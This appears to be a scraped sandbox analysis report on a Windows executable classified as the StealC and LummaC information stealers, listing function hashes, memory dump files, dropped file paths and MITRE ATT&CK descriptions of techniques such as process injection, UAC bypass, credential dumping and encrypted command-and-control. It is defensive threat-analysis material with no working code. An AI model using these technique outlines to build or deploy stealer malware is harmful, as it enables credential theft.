Opcode ID: 4fa3fd9f1fb2a1ef1039fdc82efa35c29c780fa8603977d97043cb0f4850430f
Instruction ID: 0ecedf938f5bc7970af167b269c5bf4c66b594828fbc543313e5861ebc86b12a
Opcode Fuzzy Hash: 4fa3fd9f1fb2a1ef1039fdc82efa35c29c780fa8603977d97043cb0f4850430f
Instruction Fuzzy Hash: E441A9F360C210AFE3056E59DD4167EF7E9EBC4721F26882EE6C5C3210D63458458B67

Function 0099E142 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1725407553.000000000099C000.00000080.00000001.01000000.00000006.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1725039467.0000000000810000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725062909.0000000000812000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725083353.0000000000816000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725107326.000000000081A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725160515.0000000000824000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725185269.0000000000825000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725207912.0000000000826000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725333706.0000000000980000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725357829.0000000000982000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725386038.000000000099B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725428380.000000000099F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725428380.00000000009A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725477241.00000000009BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725509305.00000000009BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725532995.00000000009BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725555767.00000000009C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725582015.00000000009D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725603812.00000000009D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725626503.00000000009DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725650447.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725672696.00000000009F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725695385.00000000009FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725717364.00000000009FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725739775.00000000009FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725762210.0000000000A09000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725786679.0000000000A0D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725840377.0000000000A0E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725862943.0000000000A16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725914527.0000000000A17000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725937014.0000000000A1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726004641.0000000000A26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726088063.0000000000A27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726119465.0000000000A3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726145802.0000000000A48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726169208.0000000000A51000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726194978.0000000000A53000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726223336.0000000000A72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726247212.0000000000A73000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726282957.0000000000AA4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726304987.0000000000AA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726326562.0000000000AA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726346933.0000000000AA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726370459.0000000000AB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726370459.0000000000ABA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726416696.0000000000AC8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726438118.0000000000ACA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed8aebc00e71afde0734f4841cc09326646db4d03bf0efea5a481aee6c1f3f1c
Instruction ID: d41d3c5de2abf5ada623755ba198dd1748528a9014d550396ad71fff6c2510e4
Opcode Fuzzy Hash: ed8aebc00e71afde0734f4841cc09326646db4d03bf0efea5a481aee6c1f3f1c
Instruction Fuzzy Hash: D741D2B390C710AFE705AF18D8466BABBF4EF85360F16882EEAD4C3641D6354854CB93

Function 009B425C Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1725428380.00000000009A6000.00000040.00000001.01000000.00000006.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1725039467.0000000000810000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725062909.0000000000812000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725083353.0000000000816000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725107326.000000000081A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725160515.0000000000824000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725185269.0000000000825000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725207912.0000000000826000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725333706.0000000000980000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725357829.0000000000982000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725386038.000000000099B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725407553.000000000099C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725428380.000000000099F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725477241.00000000009BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725509305.00000000009BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725532995.00000000009BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725555767.00000000009C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725582015.00000000009D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725603812.00000000009D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725626503.00000000009DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725650447.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725672696.00000000009F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725695385.00000000009FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725717364.00000000009FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725739775.00000000009FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725762210.0000000000A09000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725786679.0000000000A0D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725840377.0000000000A0E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725862943.0000000000A16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725914527.0000000000A17000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725937014.0000000000A1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726004641.0000000000A26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726088063.0000000000A27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726119465.0000000000A3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726145802.0000000000A48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726169208.0000000000A51000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726194978.0000000000A53000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726223336.0000000000A72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726247212.0000000000A73000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726282957.0000000000AA4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726304987.0000000000AA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726326562.0000000000AA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726346933.0000000000AA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726370459.0000000000AB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726370459.0000000000ABA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726416696.0000000000AC8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726438118.0000000000ACA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bec5a7dc111117f9e93db37e1c292de0360e00543522db48dc232e937dec8d55
Instruction ID: 300bc5cbda73db59a60c1cf2907ee30d7aeb6934a92c6c6dc800dd47993d4ddb
Opcode Fuzzy Hash: bec5a7dc111117f9e93db37e1c292de0360e00543522db48dc232e937dec8d55
Instruction Fuzzy Hash: BEE04F361041059AD7009F54C84999FFBF9FF19321F218845E484CB622C2764C41D729

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 0OkLsJL2Bn.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe.log

C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe

C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Windows Analysis Report
0OkLsJL2Bn.exe

Function 009AB0AC Relevance: 4.6, APIs: 3, Instructions: 88
registryCOMMON

Function 0099DF99 Relevance: 1.6, APIs: 1, Instructions: 102
libraryCOMMON

Function 0099DE68 Relevance: 1.6, APIs: 1, Instructions: 95
libraryCOMMON

Function 05060D41 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Function 05060D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 05061509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Function 05061510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 05061301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Function 05061308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Function 009ABFE6 Relevance: 1.5, APIs: 1, Instructions: 36
libraryCOMMON

Function 0081E6F5 Relevance: 1.3, APIs: 1, Instructions: 50
memoryCOMMON

Function 0081F1B6 Relevance: 1.3, APIs: 1, Instructions: 14
memoryCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre